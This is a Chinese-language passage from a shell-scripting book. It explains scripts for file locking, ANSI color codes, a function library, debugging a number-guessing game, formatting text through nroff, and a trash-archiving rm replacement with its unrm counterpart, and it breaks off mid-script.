#10 锁定文件

任何读取或追加到共享文件的脚本,比如日志文件,都需要一种可靠的方式来锁定文件,以防其他脚本实例在数据使用完之前不小心覆盖数据。一种常见的做法是为每个正在使用的文件创建一个单独的 锁文件。锁文件的存在作为一个 信号量,表示文件正在被另一个脚本使用,无法访问。请求的脚本会反复等待并重试,直到信号量锁文件被移除,表明文件可以自由编辑。

然而,锁文件是棘手的,因为许多看似万无一失的解决方案实际上并不起作用。例如,以下代码是解决这个问题的典型方法:

while [ -f $lockfile ] ; do
  sleep 1
done
touch $lockfile

看起来好像可以工作,对吧?这段代码会一直循环,直到锁文件不存在,然后创建它,以确保你拥有锁并且可以安全地修改基础文件。如果另一个具有相同循环的脚本看到你的锁文件,它也会一直循环,直到锁文件消失。然而,实际上这并不起作用。试想一下,如果在 while 循环退出之后,但在执行 touch 命令之前,这个脚本被交换出去,并重新排入处理器队列,给另一个脚本运行的机会,会发生什么。

如果你不确定我们在说什么,记住,虽然你的计算机似乎一次只做一件事,但实际上它是在同时运行多个程序,通过在每个程序之间切换,每次只做一点点。这里的问题是,在脚本完成检查锁文件和创建自己锁文件之间的这段时间,系统可能会切换到另一个脚本,而这个脚本会照常检查锁文件,发现没有锁文件并创建自己的锁文件。然后该脚本可能会被切换出去,而你的脚本可能会恢复执行 touch 命令。结果是两个脚本都认为它们独占了锁文件,而这正是我们想要避免的情况。

幸运的是,procmail 邮件过滤程序的作者 Stephen van den Berg 和 Philip Guenther 也创建了一个命令行工具 lockfile,该工具可以让你在 shell 脚本中安全、可靠地操作锁文件。

许多 Unix 发行版,包括 GNU/Linux 和 OS X,都已预安装lockfile。你可以通过输入man 1 lockfile来检查你的系统是否有lockfile。如果显示了手册页,那就表示你的运气不错!清单 1-22 中的脚本假设你已经安装了lockfile命令,后续脚本需要脚本 #10 中可靠的锁机制来运行,因此请确保你的系统上已安装lockfile命令。

代码

   #!/bin/bash

   # filelock--A flexible file-locking mechanism

   retries="10"            # Default number of retries
   action="lock"           # Default action
   nullcmd="'which true'"  # Null command for lockfile

➊ while getopts "lur:" opt; do
     case $opt in
       l ) action="lock"      ;;
       u ) action="unlock"    ;;
       r ) retries="$OPTARG"  ;;
     esac
   done
➋ shift $(($OPTIND - 1))

   if [ $# -eq 0 ] ; then # Output a multiline error message to stdout.
     cat << EOF >&2
   Usage: $0 [-l|-u] [-r retries] LOCKFILE
   Where -l requests a lock (the default), -u requests an unlock, -r X
   specifies a max number of retries before it fails (default = $retries).
     EOF
     exit 1
   fi

   # Ascertain if we have the lockfile command.

➌ if [ -z "$(which lockfile | grep -v '^no ')" ] ; then
     echo "$0 failed: 'lockfile' utility not found in PATH." >&2
     exit 1
   fi
➍ if [ "$action" = "lock" ] ; then
     if ! lockfile -1 -r $retries "$1" 2> /dev/null; then
       echo "$0: Failed: Couldn't create lockfile in time." >&2
       exit 1
     fi
   else    # Action = unlock.
     if [ ! -f "$1" ] ; then
       echo "$0: Warning: lockfile $1 doesn't exist to unlock." >&2
       exit 1
     fi
     rm -f "$1"
   fi

   exit 0

清单 1-22:*filelock*脚本

它是如何工作的

正如一个编写良好的 Shell 脚本通常会做的那样,清单 1-22 的一半内容是解析输入变量并检查错误条件。最后,它到达了if语句,然后尝试实际使用系统的lockfile命令。如果有该命令,它会指定重试次数并调用它,如果最终失败,则生成自己的错误信息。如果你请求解锁(例如,移除现有的锁),但并没有锁定文件呢?这时会产生另一个错误。否则,lockfile将被移除,操作完成。

更具体地说,第一个代码块➊使用强大的getopts函数通过while循环解析所有可能的用户输入标志(-l-u-r)。这是利用getopts的常见方式,书中会多次出现这个模式。请注意第➋步的shift $(($OPTIND - 1 ))语句:OPTINDgetopts设置,它使得脚本能够不断将值向下移动(例如,$2变成$1),直到处理完带有破折号的这些值。

由于这个脚本使用了系统的lockfile工具,因此在调用它之前确保该工具在用户的路径中是一个良好的做法。如果路径中没有该工具,它将显示错误信息。然后,在第➍步会有一个简单的条件判断,查看我们是在锁定还是解锁,并根据情况调用lockfile工具。

运行脚本

虽然lockfile脚本不是你通常会单独使用的脚本,但你可以通过打开两个终端窗口来进行测试。要创建一个锁,只需将你想要锁定的文件名作为filelock的参数指定即可。要移除锁,再次运行脚本并添加-u标志。

结果

首先,按照清单 1-23 所示创建一个锁定的文件。

$ filelock /tmp/exclusive.lck
$ ls -l /tmp/exclusive.lck
-r--r--r--  1 taylor  wheel  1 Mar 21 15:35 /tmp/exclusive.lck

清单 1-23:使用*filelock*命令创建文件锁

当你第二次尝试锁定文件时,filelock会尝试默认的次数(10 次),然后失败(如清单 1-24 所示):

$ filelock /tmp/exclusive.lck
filelock : Failed: Couldn't create lockfile in time.

清单 1-24:*filelock*命令未能创建锁文件

当第一个进程完成文件操作后,你可以按照清单 1-25 所示释放锁。

$ filelock -u /tmp/exclusive.lck

清单 1-25:使用*filelock*脚本释放文件锁

要查看filelock脚本如何在两个终端中工作,可以在一个窗口中运行解锁命令,而另一个窗口则持续运行,尝试建立它自己的独占锁。

破解脚本

因为该脚本依赖于锁文件的存在来证明锁仍然有效,所以如果有一个附加参数,比如锁应该有效的最长时间长度会很有用。如果lockfile例程超时,则可以检查被锁定文件的最后访问时间,如果被锁定的文件比该参数值还要旧,那么它就可以安全地作为多余的文件删除,或许可以带上警告信息。

这不太可能影响你,但lockfile不适用于网络文件系统(NFS)挂载的网络驱动器。实际上,NFS 挂载磁盘上的可靠文件锁定机制相当复杂。一个完全避开这个问题的更好策略是只在本地磁盘上创建锁文件,或者使用一个可以跨多个系统管理锁的网络感知脚本。

#11 ANSI 颜色序列

尽管你可能没有意识到,大多数终端应用程序都支持不同风格的文本呈现。无论你是希望在脚本中将某些单词显示为粗体,还是希望将它们显示为红色配黄色背景,都是可能的。然而,使用ANSI(美国国家标准协会)序列来表示这些变化可能会很困难,因为它们相当不友好。为了简化它们,清单 1-26 创建了一组变量,这些变量的值表示 ANSI 代码,可以用于开关各种颜色和格式选项。

代码

#!/bin/bash

# ANSI color--Use these variables to make output in different colors
#   and formats. Color names that end with 'f' are foreground colors,
#   and those ending with 'b' are background colors.

initializeANSI()
{
  esc="\033"   # If this doesn't work, enter an ESC directly.

  # Foreground colors
  blackf="${esc}30m";   redf="${esc}[31m";    greenf="${esc}[32m"
  yellowf="${esc}[33m"   bluef="${esc}[34m";   purplef="${esc}[35m"
  cyanf="${esc}[36m";    whitef="${esc}[37m"

  # Background colors
  blackb="${esc}[40m";   redb="${esc}[41m";    greenb="${esc}[42m"
  yellowb="${esc}[43m"   blueb="${esc}[44m";   purpleb="${esc}[45m"
  cyanb="${esc}[46m";    whiteb="${esc}[47m"

  # Bold, italic, underline, and inverse style toggles
  boldon="${esc}[1m";    boldoff="${esc}[22m"
  italicson="${esc}[3m"; italicsoff="${esc}[23m"
  ulon="${esc}[4m";      uloff="${esc}[24m"
  invon="${esc}[7m";     invoff="${esc}[27m"

  reset="${esc}[0m"
}

清单 1-26:*initializeANSI*脚本函数

它是如何工作的

如果你习惯了 HTML,可能会对这些序列的工作方式感到困惑。在 HTML 中,你需要以相反的顺序打开和关闭修饰符,并且你必须关闭每个打开的修饰符。因此,要在一个句子中创建一个斜体部分并显示为粗体,你将使用以下 HTML 代码:

<b>this is in bold and <i>this is italics</i> within the bold</b>

在没有关闭斜体标签的情况下关闭粗体标签会引发混乱,并可能会搞乱一些网页浏览器。但对于 ANSI 颜色序列,一些修饰符实际上会覆盖前一个修饰符,并且还有一个重置序列,它会关闭所有修饰符。使用 ANSI 序列时,你必须确保在使用颜色后输出重置序列,并且对任何你打开的功能使用off选项。使用此脚本中的变量定义,你可以像这样重写前面的序列:

${boldon}this is in bold and ${italicson}this is
italics${italicsoff}within the bold${reset}

运行脚本

要运行此脚本,首先调用初始化函数,然后输出一些带有不同颜色和效果组合的echo语句:

initializeANSI

cat << EOF
${yellowf}This is a phrase in yellow${redb} and red${reset}
${boldon}This is bold${ulon} this is italics${reset} bye-bye
${italicson}This is italics${italicsoff} and this is not
${ulon}This is ul${uloff} and this is not
${invon}This is inv${invoff} and this is not
${yellowf}${redb}Warning I ${yellowb}${redf}Warning II${reset}
EOF

结果

[清单 1-27 中的结果在本书中看起来并不太惊艳,但在支持这些颜色序列的显示器上,它们肯定会引起你的注意。

This is a phrase in yellow and red
This is bold this is italics bye-bye
This is italics and this is not
This is ul and this is not
This is inv and this is not
Warning I Warning II

清单 1-27:如果运行 清单 1-26 中的脚本,打印出的文本

破解脚本

使用此脚本时,你可能会看到如下输出:

\03333m\033[41mWarning!\033[43m\033[31mWarning!\033[0m

如果你这么做了,问题可能出在你的终端或窗口不支持 ANSI 颜色序列,或者它不理解重要的 esc 变量的 \033 符号。要解决后者的问题,打开脚本文件,使用 vi 或你喜欢的终端编辑器,删除 \033 序列,并通过按下 ^V(CTRL-V)键,再按下 ESC 键,这应该会显示为 ^[。如果屏幕上显示 esc="^[,一切应该正常。

另一方面,如果你的终端或窗口根本不支持 ANSI 序列,你可能需要升级,以便能够为你的其他脚本添加彩色和增强的字体输出。但在放弃当前终端之前,请检查终端的偏好设置—某些终端有一个可以启用完全 ANSI 支持的设置。

#12 构建一个 Shell 脚本库

本章中的许多脚本都是作为函数编写的,而不是独立脚本,这样它们可以轻松地集成到其他脚本中,而不会增加系统调用的开销。虽然 shell 脚本中没有像 C 语言中的 #include 功能,但有一个非常重要的功能叫做 source 文件,它起到相同的作用,允许你像包含库函数一样包含其他脚本。

为了理解这为什么很重要,我们来考虑一下另一种情况。如果你在一个 shell 中调用一个 shell 脚本,默认情况下,该脚本会在它自己的子 shell 中运行。你可以通过实验来验证这一点:

$ echo "test=2" >> tinyscript.sh
$ chmod +x tinyscript.sh
$ test=1
$ ./tinyscript.sh
$ echo $test
1

脚本tinyscript.sh修改了变量test的值,但只是在运行该脚本的子 shell 中,所以我们 shell 环境中现有的test变量的值没有受到影响。如果你改用点(.)符号来运行脚本,这样就相当于每个脚本中的命令直接输入到当前的 shell 中:

$ . tinyscript.sh
$ echo $test
2

正如你所预期的那样,如果你 source 一个包含 exit 0 命令的脚本,它将退出 shell 并注销窗口,因为 source 操作使得被 source 的脚本成为主要运行进程。如果你有一个在子 shell 中运行的脚本,它会退出,但不会影响主脚本的执行。这是一个重要的区别,也是选择使用 .source 或(如我们稍后会解释的)exec 来 source 脚本的原因之一。. 符号实际上与 bash 中的 source 命令是相同的;我们使用 . 是因为它在不同的 POSIX shell 中更具可移植性。

代码

要将本章中的函数转换为可在其他脚本中使用的库,请提取所有函数以及任何需要的全局变量或数组(即跨多个函数共享的值),并将它们合并为一个大文件。如果你将此文件命名为library.sh,你可以使用以下测试脚本访问我们在本章中编写的所有函数,并查看它们是否正常工作,如[列表 1-28 所示。

   #!/bin/bash

   # Library test script

   # Start by sourcing (reading in) the library.sh file.

➊ . library.sh

   initializeANSI  # Let's set up all those ANSI escape sequences.
   # Test validint functionality.
   echon "First off, do you have echo in your path? (1=yes, 2=no) "
   read answer
   while ! validint $answer 1 2 ; do
     echon "${boldon}Try again${boldoff}. Do you have echo "
     echon "in your path? (1=yes, 2=no) "
     read answer
   done

   # Is the command that checks what's in the path working?
   if ! checkForCmdInPath "echo" ; then
     echo "Nope, can't find the echo command."
   else
     echo "The echo command is in the PATH."
   fi

   echo ""
   echon "Enter a year you think might be a leap year: "
   read year

   # Test to see if the year specified is between 1 and 9999 by
   #   using validint with a min and max value.
   while ! validint $year 1 9999 ; do
     echon "Please enter a year in the ${boldon}correct${boldoff} format: "
     read year
   done

   # Now test whether it is indeed a leap year.
   if isLeapYear $year ; then
     echo "${greenf}You're right! $year is a leap year.${reset}"
   else
     echo "${redf}Nope, that's not a leap year.${reset}"
   fi

   exit 0

列表 1-28:将先前实现的函数作为单个库源代码并调用它们

工作原理

请注意,库文件已被引入,所有函数都会被读取并包含到脚本的运行时环境中,在➊的单行代码处。

这种处理本书中多个脚本的有用方法可以根据需要反复利用。只要确保你包含的库文件可以从PATH中访问,这样.命令就能找到它。

运行脚本

要运行测试脚本,只需像运行任何其他脚本一样从命令行调用它,就像在列表 1-29 中所示。

结果

$ library-test
First off, do you have echo in your PATH? (1=yes, 2=no) 1
The echo command is in the PATH.

Enter a year you think might be a leap year: 432423
Your value is too big: largest acceptable value is 9999.
Please enter a year in the correct format: 432
You're right! 432 is a leap year.

列表 1-29:运行 *library-test* 脚本

在你的屏幕上,值过大时的错误信息会以粗体显示。此外,正确的闰年猜测将以绿色显示。

历史上,432 年不是闰年,因为闰年直到 1752 年才出现在日历中。但是我们现在讨论的是 Shell 脚本,而不是日历技巧,所以我们就不再纠结这个问题。

#13 调试 Shell 脚本

尽管本节没有包含真正的脚本,但我们仍然想花几页时间讨论一些调试 Shell 脚本的基础知识,因为 bug 总是不可避免地会出现!

根据我们的经验,最佳的调试策略是逐步构建脚本。一些脚本程序员对第一次就能正确运行充满乐观,但从小处开始确实能帮助推进进程。此外,你应该大量使用echo语句来追踪变量,并明确调用你的脚本,使用bash -x来显示调试输出,如下所示:

$ bash -x myscript.sh

或者,你可以提前运行set -x来启用调试,运行结束后使用set +x来停止调试,如此处所示:

$ set -x
$ ./myscript.sh
$ set +x

要查看-x+x的效果,我们来调试一个简单的数字猜测游戏,如列表 1-30 所示。

代码

   #!/bin/bash
   # hilow--A simple number-guessing game

   biggest=100                   # Maximum number possible
   guess=0                       # Guessed by player
   guesses=0                     # Number of guesses made
➊ number=$(( $$ % $biggest )    # Random number, between 1 and $biggest
   echo "Guess a number between 1 and $biggest"

   while [ "$guess" -ne $number ] ; do
➋   /bin/echo -n "Guess? " ; read answer
     if [ "$guess" -lt $number ] ; then
➌     echo "... bigger!"
     elif [ "$guess" -gt $number ] ; then
➍     echo "... smaller!
     fi
     guesses=$(( $guesses + 1 ))
   done

   echo "Right!! Guessed $number in $guesses guesses."

   exit 0

列表 1-30:*hilow* 脚本,可能包含一些需要调试的错误...

工作原理

要理解在 ➊处的随机数部分如何工作,请记住,序列 $$ 是运行脚本的 Shell 的处理器 ID(PID),通常是一个 5 位或 6 位的数字值。每次运行脚本时,它都会得到一个不同的 PID。% $biggest序列将 PID 值除以指定的最大可接受值并返回余数。换句话说,5 % 4 = 141 % 4也等于 1。这是一种生成 1 到 $biggest之间的半随机数的简单方法。

运行脚本

调试这个游戏的第一步是测试并确保生成的数字足够随机。为此,我们获取运行脚本的 Shell 的 PID,使用$$表示法,并通过 % 模运算函数 ➊ 将其缩小到一个可用的范围。要测试此函数,请将命令直接输入到 Shell 中,如下所示:

$ echo $(( $$ % 100 ))
5
$ echo $(( $$ % 100 ))
5
$ echo $(( $$ % 100 ))
5

这样是可行的,但它并不算真正的随机。稍微思考一下就能发现原因:当命令直接在命令行上运行时,PID 总是相同的;但当它在脚本中运行时,每次都会在不同的子 Shell 中运行,因此 PID 会有所不同。

生成随机数的另一种方式是通过引用环境变量$RANDOM。它就像魔法一样!每次引用它,你都会得到不同的值。要生成一个在 1 到$biggest之间的随机数,你可以在 ➊处使用$(( $RANDOM % $biggest + 1 ))

下一步是添加游戏的基本逻辑。首先生成一个 1 到 100 之间的随机数 ➊;玩家进行猜测 ➋;每次猜测后,玩家会被告知猜测是太大 ➌ 还是太小 ➍,直到他们最终猜中正确的值。在输入完所有基本代码后,接下来就是运行脚本,看看效果如何。这里我们使用了清单 1-30,包括所有瑕疵:

$ hilow
./013-hilow.sh: line 19: unexpected EOF while looking for matching '"'
./013-hilow.sh: line 22: syntax error: unexpected end of file

呃,Shell 脚本开发者的噩梦:意外的文件结尾(EOF)。仅仅因为错误信息提示错误出现在第 19 行,并不意味着问题真的是出在这一行。实际上,第 19 行是完全正常的:

$ sed -n 19p hilow
echo "Right!! Guessed $number in $guesses guesses."

为了理解发生了什么,记住引号中的内容可以包含换行符。这意味着当 Shell 遇到一个未正确关闭的引号时,它会一直读取脚本,寻找匹配的引号,直到最后一个引号,才会意识到有什么地方不对劲。

因此,问题可能出现在脚本的早期部分。Shell 返回的错误信息中唯一真正有用的内容是它告诉你哪个字符不匹配,因此我们可以使用 grep 来提取所有包含引号的行,并过滤掉那些包含两个引号的行,如下所示:

$ grep '"' 013-hilow.sh | egrep -v '.*".*".*'
echo "... smaller!

就这样!缺少了一个闭合引号,具体是在告知用户必须猜更小数字的那一行 ➍。我们将缺失的引号加到行尾,然后再试一次:

$ hilow
./013-hilow.sh: line 7: unexpected EOF while looking for matching ')'
./013-hilow.sh: line 22: syntax error: unexpected end of file

不行。又有问题了。因为脚本中括号表达式非常少,所以我们可以直接通过目测发现随机数实例化的闭合括号被错误地截断了:

number=$(( $$ % $biggest )          # Random number between 1 and $biggest

我们可以通过在行尾加上右括号来修复这个问题,但要放在代码注释之前。现在游戏是否能正常运行了呢?让我们来看看:

$ hilow
Guess? 33
... bigger!
Guess? 66
... bigger!
Guess? 99
... bigger!
Guess? 100
... bigger!
Guess? ^C

几乎解决了。但因为 100 是最大可能值,似乎代码的逻辑有问题。这些错误特别棘手,因为没有 fancy 的grepsed命令来帮助定位问题。回顾一下代码,看看你能不能找出问题所在。

为了调试这个问题,我们可以添加几个echo语句来输出用户选择的数字,并验证输入的内容是否与被测试的内容一致。相关的代码部分从➋开始,但我们在这里为了方便重新打印了这些行:

  /bin/echo -n "Guess? " ; read answer
  if [ "$guess" -lt $number ] ; then

事实上,当我们修改了echo语句并查看这两行时,我们意识到了错误:读取的变量是answer,但被测试的变量叫做guess。这是个明显的错误,但并不罕见(尤其是当你使用奇怪的变量名时)。要修复这个问题,我们应该把read answer改成read guess

结果

最终,它按预期工作了,如示例 1-31 所示。

$ hilow
Guess? 50
... bigger!
Guess? 75
... bigger!
Guess? 88
... smaller!
Guess? 83
... smaller!
Guess? 80
... smaller!
Guess? 77
... bigger!
Guess? 79
Right!! Guessed 79 in 7 guesses.

示例 1-31: *hilow* shell 脚本游戏的完整运行

脚本调试

这个小脚本中最严重的错误是它没有验证输入。输入任何非整数的内容,脚本就会卡住并失败。包含一个基本的测试,最简单的方式是将以下代码行添加到while循环中:

if [ -z "$guess" ] ; then
  echo "Please enter a number. Use ^C to quit"; continue;
fi

问题在于,确认它是一个非零输入并不意味着它是一个数字,像输入hi这样的内容会导致test命令出错。为了解决这个问题,可以在第五章脚本中调用validint函数,见第 23 页。

第三章:改进用户命令

image

一个典型的 Unix 或 Linux 系统默认包括数百个命令,当你考虑到标志和将命令与管道组合的不同方式时,就会产生数百万种不同的命令行工作方式。

在我们深入之前,清单 2-1 展示了一个附加脚本,它会告诉你 PATH 中有多少个命令。

#!/bin/bash

# How many commands: a simple script to count how many executable
#   commands are in your current PATH

IFS=":"
count=0 ; nonex=0
for directory in $PATH ;  do
  if [ -d "$directory" ] ; then
    for command in "$directory"/* ; do
      if [ -x "$command" ] ; then
        count="$(( $count + 1 ))"
      else
        nonex="$(( $nonex + 1 ))"
      fi
    done
  fi
done

echo "$count commands, and $nonex entries that weren't executable"

exit 0

清单 2-1:计算当前*PATH*中可执行文件和非可执行文件的数量

这个脚本计算的是可执行文件的数量,而不仅仅是文件的数量,它可以用来揭示许多流行操作系统默认 PATH 变量中有多少命令和非可执行文件(见表 2-1)。

表 2-1: 各操作系统的典型命令数量

操作系统 命令数 非可执行文件数
Ubuntu 15.04(包括所有开发者库) 3,156 5
OS X 10.11(安装了开发者选项) 1,663 11
FreeBSD 10.2 954 4
Solaris 11.2 2,003 15

显然,不同版本的 Linux 和 Unix 提供了大量的命令和可执行脚本。为什么会有这么多?答案基于 Unix 的基本哲学:命令应该做一件事,并且做得好。具有拼写检查、文件查找和电子邮件功能的文字处理器在 Windows 和 Mac 环境中可能运作良好,但在命令行中,每个功能都应该是独立且离散的。

这种设计哲学有很多优点,最重要的一点是每个功能都可以单独修改和扩展,从而让所有使用它的应用程序都能获得这些新功能。无论你想在 Unix 上执行什么任务,通常都能轻松组合出一些能解决问题的东西,无论是通过下载添加新功能的实用工具、创建一些别名,还是稍微接触一下 shell 脚本的世界。

本书中的脚本不仅有帮助,而且是 Unix 哲学的逻辑延伸。毕竟,比起为自己的安装构建复杂且不兼容的命令版本,扩展和扩展现有功能要好得多。

本章探讨的脚本与清单 2-1 中的脚本相似,它们添加了有趣或有用的功能和特性,同时保持较低的复杂度。一些脚本接受不同的命令标志,以提供更大的灵活性,而一些脚本还展示了如何将一个 shell 脚本作为 包装器,一个插入程序,允许用户以一种通用的表示法指定命令或命令标志,然后将这些标志转换成实际 Unix 命令所需的正确格式和语法。

#14 格式化长行

如果幸运的话,你的 Unix 系统已经包含了 fmt 命令,这对于经常处理文本的用户来说是一个非常有用的程序。从重新格式化电子邮件到使行文本充满文档中所有可用宽度,fmt 是一个值得了解的实用工具。

然而,一些 Unix 系统并不包含 fmt。这在老旧系统中尤其常见,这些系统通常有着相对简化的实现。

事实证明,nroff 命令自 Unix 初期便已存在,并且本身就是一个 shell 脚本封装器,可以在短小的 shell 脚本中使用,用于包装长行并填充短行以平衡行长,如在列表 2-2 中所示。

代码部分

   #!/bin/bash

   # fmt--Text formatting utility that acts as a wrapper for nroff
   #   Adds two useful flags: -w X for line width
   #   and -h to enable hyphenation for better fills
➊ while getopts "hw:" opt; do
     case $opt in
       h ) hyph=1              ;;
       w ) width="$OPTARG"     ;;
     esac
   done
➋ shift $(($OPTIND - 1))

➌ nroff << EOF
➍ .ll ${width:-72}
   .na
   .hy ${hyph:-0}
   .pl 1
➎ $(cat "$@")
   EOF

   exit 0

列表 2-2:用于良好格式化长文本的 *fmt* shell 脚本

工作原理

这个简洁的脚本提供了两个不同的命令标志:-w X 用于指定当行长度超过 X 字符时进行换行(默认值为 72),-h 用于启用跨行的连字符断词。请注意,在➊处检查标志。while 循环使用 getopts 一次读取传递给脚本的每个选项,内层的 case 块决定如何处理这些选项。一旦选项被解析,脚本会在➋调用 shift 丢弃所有选项标志,使用 $OPTIND(它保存着 getopts 要读取的下一个参数的索引),并将剩余的参数继续处理。

这个脚本还使用了 here document(在脚本 #9 中有讨论,在第 34 页),这是一种可以向命令提供多行输入的代码块类型。通过这种书写便捷方式,脚本在 ➌ 处将所有必要的命令传递给 nroff,以实现预期输出。在本文档中,我们使用了一种 bash 语法替代了一个未定义的变量 ➍,以便为用户未指定参数时提供一个合理的默认值。最后,脚本调用了 cat 命令,处理请求的文件名。为了完成任务,cat 命令的输出也会直接传递给 nroff ➎。这是一种在本书中会频繁出现的技巧。

运行脚本

这个脚本可以直接从命令行调用,但更可能作为外部管道的一部分,从 vivim 这样的编辑器内调用(例如,!}fmt)来格式化一段文本。

结果

列表 2-3 启用了连字符处理,并指定了最大宽度为 50 字符。

$ fmt -h -w 50 014-ragged.txt
So she sat on, with closed eyes, and half believed
herself in Wonderland, though she knew she had but
to open them again, and all would change to dull
reality--the grass would be only rustling in the
wind, and the pool rippling to the waving of the
reeds--the rattling teacups would change to tin-
kling sheep-bells, and the Queen's shrill cries
to the voice of the shepherd boy--and the sneeze
of the baby, the shriek of the Gryphon, and all
the other queer noises, would change (she knew) to
the confused clamour of the busy farm-yard--while
the lowing of the cattle in the distance would
take the place of the Mock Turtle's heavy sobs.

列表 2-3:使用 *fmt* 脚本按 50 字符的宽度换行并进行连字符处理

将列表 2-3(注意第 6 行和第 7 行突出显示的已连字符化的单词 tinkling)与使用默认宽度且没有连字符处理的列表 2-4 的输出进行比较。

$ fmt 014-ragged.txt
So she sat on, with closed eyes, and half believed herself in
Wonderland, though she knew she had but to open them again, and all
would change to dull reality--the grass would be only rustling in the
wind, and the pool rippling to the waving of the reeds--the rattling
teacups would change to tinkling sheep-bells, and the Queen's shrill
cries to the voice of the shepherd boy--and the sneeze of the baby, the
shriek of the Gryphon, and all the other queer noises, would change (she
knew) to the confused clamour of the busy farm-yard--while the lowing of
the cattle in the distance would take the place of the Mock Turtle's
heavy sobs.

列表 2-4:没有连字符处理的 *fmt* 脚本的默认格式化

#15 备份文件在删除时

Unix 用户最常遇到的问题之一是,没有简单的办法恢复一个不小心删除的文件或文件夹。没有像 Undelete 360、WinUndelete 或 OS X 工具那样的用户友好应用,可以让你轻松浏览和恢复已删除的文件,只需按一个按钮。一旦你按下回车键,输入rm *filename*,文件就永远消失了。

解决这个问题的一种方法是将文件和目录秘密且自动地归档到一个.deleted-files归档中。通过脚本中的一些巧妙操作(如清单 2-5 所示),这个过程几乎可以对用户完全隐形。

代码

   #!/bin/bash

   # newrm--A replacement for the existing rm command.
   #   This script provides a rudimentary unremove capability by creating and
   #   utilizing a new directory within the user's home directory. It can handle
   #   directories of content as well as individual files. If the user specifies
   #   the -f flag, files are removed and NOT archived.

   # Big Important Warning: You'll want a cron job or something similar to keep
   #   the trash directories tamed. Otherwise, nothing will ever actually
   #   be deleted from the system, and you'll run out of disk space!

   archivedir="$HOME/.deleted-files"
   realrm="$(which rm)"
   copy="$(which cp) -R"

   if [ $# -eq 0 ] ; then            # Let 'rm' output the usage error.
     exec $realrm                    # Our shell is replaced by /bin/rm.
   fi

   # Parse all options looking for '-f'

   flags=""

   while getopts "dfiPRrvW" opt
   do
     case $opt in
       f ) exec $realrm "$@"     ;;  # exec lets us exit this script directly.
       * ) flags="$flags -$opt"  ;;  # Other flags are for rm, not us.
     esac
   done
   shift $(( $OPTIND - 1 ))

   # BEGIN MAIN SCRIPT
   # =================

   # Make sure that the $archivedir exists.

➊ if [ ! -d $archivedir] ; then
     if [ ! -w $HOME ] ; then
       echo "$0 failed: can't create $archivedir in $HOME" >&2
       exit 1
     fi
     mkdir $archivedir
➋   chmod 700 $archivedir           # A little bit of privacy, please.
   fi

   for arg
   do
➌   newname="$archivedir/$(date "+%S.%M.%H.%d.%m").$(basename "$arg")"
     if [ -f "$arg" -o -d "$arg" ] ; then
       $copy "$arg" "$newname"
     fi
   done

➍ exec $realrm $flags "$@"          # Our shell is replaced by realrm.

清单 2-5: *newrm* shell 脚本,它在文件从磁盘中删除之前进行备份

工作原理

这个脚本中有许多值得注意的地方,其中最显著的是它确保用户不会意识到它的存在。例如,当脚本无法工作时,它不会生成错误信息;它只是让realrm生成错误信息,通常是通过调用可能包含错误参数的/bin/rm。对realrm的调用是通过exec命令完成的,该命令用指定的新进程替换当前进程。一旦exec调用realrm ➍,它实际上就退出了这个脚本,并且realrm进程的返回码会传递给调用的 shell。

因为这个脚本会在用户的主目录中秘密创建一个目录 ➊,所以它需要确保该目录中的文件不会因为不正确设置的umask值而突然对其他人可读。(umask值定义了新创建的文件或目录的默认权限。)为了避免这种过度共享,脚本在 ➋ 处使用chmod来确保该目录设置为对用户可读/写/执行,并且对其他人关闭权限。

最终在 ➌ 处,脚本使用basename去除文件路径中的任何目录信息,并且为每个已删除的文件添加一个日期和时间戳,格式为秒.分钟.小时.天.月.文件名

newname="$archivedir/$(date "+"%S.%M.%H.%d.%m").$(basename "$arg")"

请注意在同一替换中使用多个$( )元素。虽然这可能有些复杂,但仍然很有帮助。记住,任何在$()之间的内容都会被送入子 shell 中执行,然后整个表达式会被该命令的结果替代。

那么为什么还要使用时间戳呢?是为了支持存储多个具有相同名称的已删除文件。一旦文件被归档,脚本不再区分/home/oops.txt/home/subdir/oops.txt,除了它们被删除的时间。如果多个同名文件同时被删除(或者在同一秒内删除),先被归档的文件将被覆盖。解决这个问题的一种方法是将原始文件的绝对路径添加到归档文件名中。

运行脚本

要安装这个脚本,可以添加一个别名,使得当你输入 rm 时,实际上运行的是这个脚本,而不是 /bin/rm 命令。一个 bash 或 ksh 的别名可能是这样的:

alias rm=yourpath/newrm

结果

运行这个脚本的结果是故意隐藏的(正如列表 2-6 所示),所以我们一路上要关注 .deleted-files 目录。

$ ls ~/.deleted-files
ls: /Users/taylor/.deleted-files/: No such file or directory
$ newrm file-to-keep-forever
$ ls ~/.deleted-files/
51.36.16.25.03.file-to-keep-forever

列表 2-6:测试 *newrm* shell 脚本

完全正确。虽然文件已从本地目录中删除,但它的副本被秘密地存放在 .deleted-files 目录中。时间戳允许其他同名的已删除文件存储在同一目录中,而不会互相覆盖。

破解脚本

一个有用的改动是更改时间戳,使其按逆时间顺序排列,从而按照时间顺序显示 ls 的文件列表。下面是修改脚本的代码:

newname="$archivedir/$(date "+"%S.%M.%H.%d.%m").$(basename "$arg")"

你可以反转该格式化请求中令牌的顺序,使得原始文件名排在前,日期排在备份文件名的后面。然而,由于我们的时间粒度是秒,你可能会在同一秒内删除多个版本的同名文件(例如,rm test testdir/test),这会导致两个同名文件。因此,另一个有用的修改是将文件的存储位置加入到归档副本中。例如,这会生成 timestamp.testtimestamp.testdir.test,它们显然是两个不同的文件。

#16 处理已删除文件归档

现在,已删除文件的目录隐藏在用户的主目录中,一个让用户在不同版本的已删除文件之间选择的脚本将非常有用。然而,要处理所有可能的情况是相当复杂的,从完全找不到指定文件,到找到多个匹配给定条件的已删除文件。例如,如果有多个匹配项,脚本应该自动选择最新的文件来恢复吗?抛出一个错误,指示有多少个匹配项?还是展示不同版本并让用户选择?让我们看看列表 2-7,它详细介绍了 unrm 脚本。

代码

   #!/bin/bash

   # unrm--Searches the deleted files archive for the specified file or
   #   directory. If there is more than one matching result, it shows a list
   #   of results ordered by timestamp and lets the user specify which one
   #   to restore.

   archivedir="$HOME/.deleted-files"
   realrm="$(which rm)"
   move="$(which mv)"

   dest=$(pwd)

   if [ ! -d $archivedir ] ; then
     echo "$0: No deleted files directory: nothing to unrm" >&2
     exit 1
   fi
 cd $archivedir

   # If given no arguments, just show a listing of the deleted files.
➊ if [ $# -eq 0 ] ; then
     echo "Contents of your deleted files archive (sorted by date):"
➋   ls -FC | sed -e 's/\([[:digit:]][[:digit:]]\.\)\{5\}//g' \
       -e 's/^/ /'
     exit 0
   fi

   # Otherwise, we must have a user-specified pattern to work with.
   #   Let's see if the pattern matches more than one file or directory
   #   in the archive.

➌ matches="$(ls -d *"$1" 2> /dev/null | wc -l)"

